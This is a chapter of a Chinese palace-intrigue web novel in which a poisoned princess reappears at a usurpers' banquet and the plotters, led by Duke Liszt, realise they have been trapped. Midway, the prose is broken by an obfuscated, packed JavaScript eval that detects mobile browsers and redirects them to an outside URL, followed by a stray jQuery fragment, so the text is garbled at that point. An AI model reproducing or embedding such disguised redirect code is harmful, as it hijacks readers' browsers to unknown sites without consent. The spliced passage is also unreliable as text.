李斯特公爵手中的水晶高脚杯，轰然落地。


    “啪——！”


    那一声清脆得令人心悸的碎裂声，在死寂得如同真空般的宴会厅里，突兀地、猛烈地炸响。它像一柄无形的、冰冷的铁锤，狠狠地，砸在了每一个人的心脏上，将他们从那凝固的、不真实的震惊中，猛地敲醒。


    鲜红的、如同血液般的酒液，混合着无数晶莹剔透的玻璃碎片，在他那双擦得锃亮的、名贵的牛皮靴旁，溅开了一朵妖异而又触目惊心的花。


    但这声巨响，非但没有打破这片诡异的死寂，反而像一块被投入无底深渊的石头，激起的不是回响，而是更加深沉、更加令人窒息的、永恒的寂静。


    时间，仿佛在这一刻，被彻底拉长、扭曲。


    宴会厅内那数千支蜡烛投下的、温暖明亮的光芒，似乎在那个黑色身影出现的瞬间，就失去了所有的温度，变得冰冷而惨白，如同停尸房里，那永不熄灭的防腐灯。


    空气，也变得粘稠而稀薄，每一次呼吸，都像是在吸入混杂着冰渣与坟墓尘埃的致命气体，让人的肺叶阵阵刺痛。


    终于，那根紧绷到极致的、名为“理智”的弦，在某个贵族女眷的喉咙深处，第一个，崩断了。


    “啊——！”


    一声短促的、混合着极度惊恐与难以置信的、几乎要撕裂声带的尖叫，从以孔肖吟为中心的女眷人群中，猛地爆发出来。


    那声音，凄厉，尖锐，不似人声。


    它像一道划破永夜的、惨白的闪电，瞬间劈开了大厅里那令人发疯的死寂。


    紧接着，仿佛是收到了某种指令，更多的、压抑的、如同见了地狱恶鬼般的惊呼与呢喃，如同被点燃的野火，在贵族的人群中，此起彼伏地，疯狂地蔓延开来。


    “是……是她……”


    “公主殿下……鞠婧祎……”


    “不……不可能！我看得很清楚……她明明已经……已经死了！”


    “是鬼魂！是公主的鬼魂！她回来复仇了！”


    恐慌，如同最可怕的瘟疫，在短短的数秒之内，便彻底席卷了整个贵族群体。


    他们脸上那刚刚还挂着的、充满了贪婪与傲慢的胜利者笑容，早已消失得无影无踪，取而代之的，是一种近乎于扭曲的、纯粹的恐惧。


    孔肖吟和林思意，这两个刚刚还在低声嘲笑公主、并觊觎着她遗物的女人，此刻的脸色，比墙壁上的石灰还要惨白。她们下意识地抓紧了彼此的手臂，指甲因为过度用力而深深地陷进了对方的肉里，但两人都感觉不到丝毫的疼痛。她们的身体，在不受控制地，剧烈地颤抖着，牙齿在疯狂地打战，发出“咯咯”的、令人牙酸的声响。


    她们看着那个黑色的身影，就像看到了自己最可怕的梦魇，活生生地，从地狱里爬了出来。


    而那些胆子更小的贵族，则已经彻底失去了思考的能力。他们尖叫着，哭喊着，本能地向后退去，远离那个正在向他们缓缓逼近的、让他们灵魂都在颤抖的恐怖身影，仿佛在躲避着某种最可怕的、能将人拖入万劫不复深渊的诅咒。


    人群，如同被投入了一块巨石的鱼群，瞬间变得混乱不堪。


    他们相互推搡着，踩踏着，完全不顾往日里那引以为傲的贵族体面。摔倒的、被踩踏的、哭喊求救的……整个宴会厅，在瞬间，从一个虚假的、胜利者的天堂，彻底沦为了一个充满了恐慌与绝望的、人间地狱。


    然而，在这片混乱的中心，有三个人，没有动。


    李斯特公爵，陆婷侯爵，莫寒伯爵。


    他们三人，如同被石化了一般，僵硬地，站立在原地，任由身边那混乱的人潮，如同潮水般退去。


    莫寒那张总是充满了暴戾之气的粗犷脸庞，此刻已经变得毫无血色。他那双总是闪烁着破坏欲的眼睛里，第一次，露出了名为“恐惧”的神色。他那只刚刚还在高举着酒杯、叫嚣着“摄政王万岁”的、如同熊掌般巨大的手，此刻正不受控制地，剧烈地颤抖着，仿佛已经不再属于他自己。


    陆婷的状况，比他更加糟糕。


    她那张总是带着一丝媚态的、美丽的脸，此刻已经因为极度的恐惧而彻底扭曲，五官都错了位。她下意识地，死死地抓紧了李斯特公爵的胳膊，整个人几乎要挂在他的身上，仿佛只有这样，才能从他那里，汲取到一丝微不足道的、能够让她不至于当场昏厥过去的安全感。


    她的嘴唇在无声地开合着，仿佛在反复地、一遍又一遍地呢喃着同一句话。


    “不可能……不可能……那毒药……那毒药……”


    是的，毒药。


    那可是她家族传承了数百年、专门用来为王室“解决”一些见不得光的麻烦的、最顶级的秘药——“黑寡妇的叹息”。


    这种毒药，无色无味，见血封喉，发作时的症状，与最严重的心疾猝死一模一样，根本无从查起。最关键的是，它没有任何解药！


    她亲手将毒药交给李斯特公爵，她亲眼看着公爵将毒药涂抹在自己的嘴唇上，她也亲眼看着公主在“吻手礼”后，完美地，上演了“黑寡妇的叹息”发作时的一切症状！


    她怎么可能还活着？


    难道……是自己给错了药？


    不，不可能！那瓶药，她亲自检查了不下十遍！


    难道……是公爵在最后一刻，心软了？


    她下意识地看向身边的李斯特公爵，却只看到了一张比她更加震惊、更加扭曲的脸。


    在所有陷入恐慌的人中，李斯特公爵的大脑，是第一个，试图从这片混沌中，重新找回逻辑的。


    他的心中，掀起了滔天巨浪。


    他的第一反应，和所有人一样，是“不可能”。


    但作为这场政变的主导者，他比任何人都更清楚，这个世界上，不存在什么鬼魂。


    那么，答案只有一个。


    这是一个计谋。


    一个从一开始，就针对他，针对所有人的、天衣无缝的、恐怖到极致的计谋！


    那个“吻手礼”是假的？


    那场“毒发身亡”是假的？


    那瓶由陆婷提供的、号称绝无解药的剧毒……也是假的？


    或者说……


    她，鞠婧祎，早就知道了一切？甚至连解药，都提前备好了？


    这个更加恐怖、更加令人不寒而栗的可能性，像一道来自西伯利亚的寒流，瞬间贯穿了他的四肢百骸，让他从头到脚，都感到了一股深入骨髓的冰冷。


    他猛地，想起了侯爵黄婷婷。


    那个从一开始就积极地为他奔走、为他煽动贵族、为他出谋划策的，他最“信任”的盟友之一。


    难道……


    他不敢再想下去。


    如果这一切都是真的，那么，他，李斯特公爵，这个自以为是的、掌控了一切的猎人，从始至终，都只是一个被玩弄于股掌之间的、可悲的小丑！


    不！


    他不能接受！


    他绝不接受！


    这一定是某种障眼法！是那个女人最后的、垂死的挣扎！


    或许，她根本就不是鞠婧祎！她只是一个长得和公主一模一样的、被派来扰乱军心的替身！


    对！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179229|196936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一定是这样！


    这个念头，像一根救命的稻草，被他死死地抓住。


    他的理智，在极度的愤怒与不甘的驱使下，终于战胜了那本能的恐惧。


    他猛地挣脱了陆婷的手，向前踏出一步，用尽全身的力气，对着那个黑色的身影，发出了一声充满了质疑与暴怒的咆哮：


    “你……你到底是谁？！”


    这一声咆哮，如同一声惊雷，暂时压下了大厅里所有的哭喊与尖叫。


    所有人的目光，都下意识地，从那个恐怖的“亡者”身上，移到了李斯特公爵的身上，又从他的身上，移回到了那个女人的身上。


    他们在等待。


    等待一个回答。


    一个能将他们从这个可怕的、荒诞的噩梦中，解救出来的回答。


    然而，那个被所有人注视着的、从地狱归来的“女王”，却并没有回答他。


    她甚至连一个字，都没有说。


    她只是静静地，看着那个色厉内荏的、试图用咆哮来掩饰自己内心恐惧的李斯特公爵。


    然后，在所有人的注视下，她那涂抹着剧毒口红的、如同凝固的鲜血般鲜红的嘴唇，缓缓地，勾起了一抹残忍的、充满了无尽嘲弄的……微笑。


    -


    那不是一个胜利者的微笑，不是一个复仇者的微笑。


    那是一种……造物主在欣赏着自己最完美的造物，一步一步，完美地，踏入自己为它量身定做的、最华丽的、最绝望的陷阱时，所露出的、那种充满了欣赏与愉悦的微笑。


    那抹微笑，仿佛在无声地，对在场的每一个人说：


    “是的，我回来了。”


    “是的，你们中计了。”


    “是的，欢迎来到，我为你们准备的，真正的，死亡舞会。”


    如果说，公主的“死而复生”，是将一盆冰水，浇在了这些狂欢者的头顶。


    那么，她此刻的这抹微笑，就是将他们所有人，连同他们那可悲的、虚假的希望一起，狠狠地，踹进了永不解冻的、万丈冰渊！


    “鬼魂”的说法，在这一刻，被彻底击碎。


    因为，没有哪个鬼魂，会拥有如此真实、如此冰冷、如此充满了掌控力的眼神。


    取而代之的，是一种更加具体、更加真实、也更加令人绝望的恐怖。


    那是一种，发现自己早已是笼中之鸟，而那个手握钥匙的猎人，正在欣赏着自己最后挣扎时的、那种纯粹的、无处可逃的恐惧！


    “不……不是鬼……”


    “是陷阱……从一开始就是陷阱！”


    “我们……我们都被骗了……”


    人群中的窃窃私语，再次响起。


    但这一次，他们的声音中，不再有对超自然力量的恐惧，而是对眼前这个女人的、那种发自灵魂深处的、最原始的战栗。


    李斯特公爵看着那抹微笑，他感觉自己全身的血液，都在一瞬间，被彻底抽干了。


    他最后的、那点可怜的侥幸，被这抹微笑，撕得粉碎。


    是她。


    就是她。


    鞠婧祎。


    那个他一直以为的、柔弱的、可以被随意拿捏的、政治的牺牲品。


    原来，这所有的一切，都是她布下的局。


    原来，自己那所谓的“实力为王”的雄心壮志，在她眼中，只是一个不值一提的笑话。


    他感觉自己像一个傻子，一个彻头彻尾的、被耍得团团转的傻子。


    一股前所未有的、混杂着羞辱、愤怒与恐惧的黑色火焰，在他的胸中，轰然炸开。